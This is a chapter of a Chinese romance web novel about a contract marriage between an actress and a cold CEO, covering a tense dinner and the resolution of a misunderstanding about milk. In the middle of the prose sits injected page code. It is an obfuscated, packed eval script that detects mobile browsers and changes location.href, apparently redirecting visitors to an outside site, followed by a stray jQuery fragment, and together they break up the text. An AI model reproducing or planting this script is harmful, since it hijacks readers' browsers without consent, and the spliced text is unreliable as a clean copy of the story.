纪鹤晚瞪着他,看着他近在咫尺的脸,恨不得一口咬下去,但身为颜控,又舍不得这张完完全全踩在她审美点的脸受一点伤,留一点疤,只能转而咬着自己的牙。
一个大男人矫情得要死!怎么不冻死他?!
纪鹤晚忿忿侧过身,不想看贺迟砚一眼,哪怕余光沾了他一点点衣角,她都觉得眼睛被侮辱了。
另一方的朴以蓝隐约听到了男人的声音,狐疑地蹙起眉头。听着这个声音不太像宋昀亭,她正思索是谁,还没来得及询问,就听见又一个男声,恭恭敬敬地说:“贺总,夫人,到了。”
贺总?这个贺总该不会是她想的那个贺总吧?
“糯糯,你现在是和贺迟砚在一起?”那声音要多不确信就有多不确信,“你们……和好了?”
记得当初热搜刚出来时,她就问过纪鹤晚是什么情况,这位高傲的大小姐只回了三个字:「他有病」
没带任何标点符号,但她知道这句话后面起码得带着七个感叹号。
贺迟砚已经先一步下了车,纪鹤晚给了他的背影一个大大的白眼,没好气地吼道:“和什么好?我和他从来就没有好过好么!”
贺迟砚拉开车门,就听见纪鹤晚怒气冲冲的这句话。他有预感,这个“他”估摸着也是他。但,又不想是他。虽然知道她说的是实话,虽然知道事实如此,但他的心还是泛起一股又酸又涩的苦水。
这个时候,他才隐隐约约地感觉到,她的烦躁与怒火似乎并不是因为生理期。不说对宋昀亭,就是对李盛,她都是微笑着彬彬有礼地道了句“谢谢”,但是一转向他,那笑容比太阳下的雪人消失得还快。相较早上她对他浅笑晏晏,温柔似水,还……投怀送抱的模样,这变化可以说完全是两个极端。
但是,他有做什么惹她生气的事吗?
并没有啊!甚至他还听她的话特意去了趟医院给手指缝了针……
贺迟砚的思绪凝滞了。但他属于不打破砂锅问到底,绝不罢休的倔驴,敛眸正要将今天发生的一切,一幕幕地筛查,找出问题所在,却感到手臂一重,回神看去,刚还怒火冲天的人儿此刻正揽着他的胳膊,小鸟依人地依偎在他身旁。
没等他诧异几秒,一声压低的,但依然难掩其中的不快的声音飘进了他的耳朵:“贺总,很显然,我比您要更有合约精神。”
她果然是影后。
停车场和餐厅之间还有些距离,夜晚的风带着湖水的潮气吹拂在纪鹤晚赤裸的手臂上,她不由瑟缩一下,又揽紧了贺迟砚的胳膊,往他身上靠了靠,嘴上还是忍不住吐槽:“戴依瑶这是选了个什么破场儿,连个地下停车场都没有!这破停车场还这么远,又小,能停下几辆车啊!我就说她不会做生意!”
贺迟砚听着她絮絮叨叨的抱怨,两边的唇角往上勾了几毫米。他想抽出胳膊,但她牢牢地抓住他,一双亮如繁星的眼睛警觉地盯着他,“你想干嘛?”
他好笑地垂眸看她,顺着她的话回:“准备扮演一个好的丈夫,把衣服脱下来披在你身上,可以吗?”
风似乎把脑子吹得有些懵了,纪鹤晚愣了几秒才松了手,轻哼一声:“算你有点职业操守。”
贺迟砚脱下身上的外套为纪鹤晚穿上,还细致地拢起她的头发。做完这些之后,主动伸出自己的手臂,任由她挎上。
“黄鼠狼给鸡拜年。”纪鹤晚不满嘟囔着。想到这只手臂,季昭乐也抱过,她就觉得自己的手像是被刺扎了一样。说实话,真的很想、很想剁了它。
抱着自己胳膊的手突然加了几分力,贺迟砚侧目,视线落在纪鹤晚露在外面的小腿上,眉头蹙了一下,“还冷吗?”
她怎么可能会冷?心里燃起的一团火快把她整个人都吞噬了!
纪鹤晚瞥了贺迟砚一眼,看见他平静如死水的眼眸只觉得可笑。她原本还以为他是个坦荡的人,现在才发现无论是七年前还是现在,他还是一样,还是一个彻头彻尾的伪君子,表面是霁月光风,不染纤尘的高岭之花,实际上就是一个喜欢干混蛋事的混蛋!
她没回答,反而往后瞟了一眼,问了句:“李盛呢?这个点了,你吃饭不叫人家一起?”没等贺迟砚回答,她又白了他一眼,要多嫌弃就有多嫌弃,“你这个老板做得真的很差劲。怪不得人家胳膊肘往外拐。”这句话,她说得很轻。
包厢里,李盛看着相对而坐的两人,那叫一个诚惶诚恐,忐忑不安。虽然老板没有看他,但他已经能想象到那恨不得把他吃下肚的眼神,捏着裤子的手松了又捏,捏了又松,连手心都渗出了汗。
天地良心,成为电灯泡真不是他想的!
犹豫再三,他舔了下发干的唇,看向正在看菜单的纪鹤晚,果断开口:“抱歉夫人,恐怕我要辜负您和贺总的好意了,褚经理说有些事需要我回公司处理,很急。”他刻意强调。
贺迟砚这才抬眸望了眼李盛,眼神中写着“算你还有点眼色”,而后又看向纪鹤晚,她也抬起了头,并没有怀疑什么,“既然是公司的事,你还是问你的贺总吧。”
他忍了许久才克制住兴奋地想要笑的冲动。对她而言平平无奇的晚餐,对于他却是一场约会,他和她的第一次约会。他故作严肃地点了点头,“你去吧,车留在这里就行,我自己开回去。”
李盛走出包厢才如释重负地吐出一口气,往衣服上随意擦了擦手心的汗水,边走边想着,这好不容易提前下班得来的闲暇时间做些什么好。想了半天最终决定先去趟超市买块牛排、几只大虾,再开瓶美酒,虽然比不上这五星级餐厅,但也已经很不错了。
他乐滋滋地按下电梯,一个服务员却突然叫住他:“李先生请稍等,贺先生为您在本餐厅订了一个位子。他说,一切消费都由公司报销,最低消费标准还按照以前的标准来。请您和我过去吧。”
李盛想,他之所以愿意留在这个被誉为“撒旦”的人身边,不只因为那丰厚的工资,最主要的是,他知道,“撒旦”其实是“天使”。
贺迟砚出去了,趁着他不在,纪鹤晚起了报复心理,虽然知道这点钱对于贺迟砚来说不过是九牛一毛,但她必须要做些什么,否则实在咽不下这口气。她指着被单独列一页的罗曼尼康帝,对服务员露出一个姣好的笑容,“这个有45年的吗?”
服务员正愣愣盯着纪鹤晚的脸入了迷,直到纪鹤晚又加重声音重复了一遍,她才回过神来,咽了口马上要流出来的口水,微笑着摇了摇头,“抱歉,45年的罗曼尼康帝数量有限,我们没有,不过有其他年份的,您看您需要吗?我可以和您详细介绍一下。”
纪鹤晚摇手,还没来得及说“上最贵的就行”,贺迟砚就好死不死地推门走了进来,冷淡地吐出一句:“不用了。”
小气鬼!
纪鹤晚双手抱胸,红润的嘴巴因不满嘟了起来。贺迟砚看着,眉眼也含上了宠溺的笑意,语气变得温和:“你不能喝凉的。如果想喝我们先存一瓶,等你生理期过去了再来喝。”
他抬头看向一脸磕到了的姨母笑的服务员,彬彬有礼地说道:“麻烦帮我们存一瓶08年的。饮品上一壶热牛奶就行,谢谢。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448370|185201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“不用了,我不爱喝酒。”纪鹤晚放下环抱在胸前的手,突然就觉得这幼稚的报复心理太没有意思了,别人能真正感受到的伤害才叫做报复,她这撑死只能算是给他挠痒痒,还是完全感受不到痒的那种。
服务员望向贺迟砚,他微点头,只一句:“听她的。”服务员止不住在心里叹息,好男人果然都是别人家的。
等贺迟砚也点完单,服务员正要往外走,想起什么又转过身,“我记得刚刚这位小姐说自己乳糖不耐受,似乎不能喝牛奶,不如换成燕麦奶怎么样?”
纪鹤晚点头,“好,谢谢你了。”
等餐的过程,纪鹤晚一直在看窗外,眼神没有一秒落在贺迟砚身上,她也不想看他,但是谁让这玻璃擦得太过干净,能清晰映着他的面容。她欣赏风景时,目光被迫在他映在玻璃上的身影停留了几秒。
不知为何,不知为什么他低下了头,长长的睫毛遮掩了眸中所有的思绪,她看不出他在想些什么。其实哪怕不遮掩,他直直地看着她,她都不能从那双平静如冰层的眼睛里窥探出一丝一毫他的心。
眼睛是心灵的窗户。贺迟砚这扇窗户显然还没有这块落地窗干净透亮。
过了一会儿,他抬起了头,有些犹豫地向她看了过来,纪鹤晚瞬间收回目光,耳边落下他的疑问:“你……乳糖不耐受?”
他是聋子么?
纪鹤晚忍住心中的不耐烦,点了点头。
“所以,我给你的那杯牛奶,你才没有喝?”
什么牛奶?他什么时候给过她牛奶了?
纪鹤晚支起下巴,目光飘到贺迟砚身上,看见他放在桌上的手正无意识地摩挲无名指上的素戒,终于想起来,新婚当夜,她的床头边确实有一杯牛奶。
她又点了下头,语气懒洋洋的:“而且那个时候我刚刷的牙,喝了牛奶又要刷牙了,我不想再刷牙。”
原来是这样,她并不是存心不想接受他的示好,是他想多了,自己把自己送进了死胡同。
“很好笑吗?”纪鹤晚原本就阴着的脸更冷了。她好心好意地回答他那奇奇怪怪的问题,他竟然在笑她!
“没有。”贺迟砚凝眸看向纪鹤晚,那双眼睛在暖黄灯光的浸染下,融化了表面的冰层,现出柔和的一汪春水,潋滟着脉脉温情,“我只是……有点开心。”
如风般轻柔的话语尚不足以飘进纪鹤晚的耳朵,她看着又重新垂下头的贺迟砚,恍惚中,还以为自己是看见了宋昀亭。他每次低下头是因为腼腆害羞,不用看,她就知道他绯红的脸上会是什么表情。但贺迟砚她不知道,但她能想象到,还是一如既往的冷淡矜贵,他不会有什么变化。
用餐过程,两人也都是静默,如果不是有音乐缓和,那气氛真是要多尴尬就有多尴尬。纪鹤晚低头专心致志地切着面前的牛排,余光又瞥见贺迟砚翘起的手指,看起来他已经看过医生了。
收回目光,脑海中猛然蹦出来两个小人——
一个说:“你看他多可怜啊,切个牛排这么费劲,你就大发善心,帮帮他呗~”
一个说:“帮什么帮!他怎么对你的难道还需要我说么?!这么一个伪君子,你管他呢!活该!自作孽不可活!”
一个又说:“虽然他在新婚之夜抛下你,虽然他和季昭乐在一起了,在法律道德上需要谴责,但是从本质上来说,他并没有什么错,你们本来也不是两情相悦,只是协约婚姻,而且第十条还是你加上去的。其实,他压根就不需要做这些事情来补偿你。”
一个说:“……你说得对。”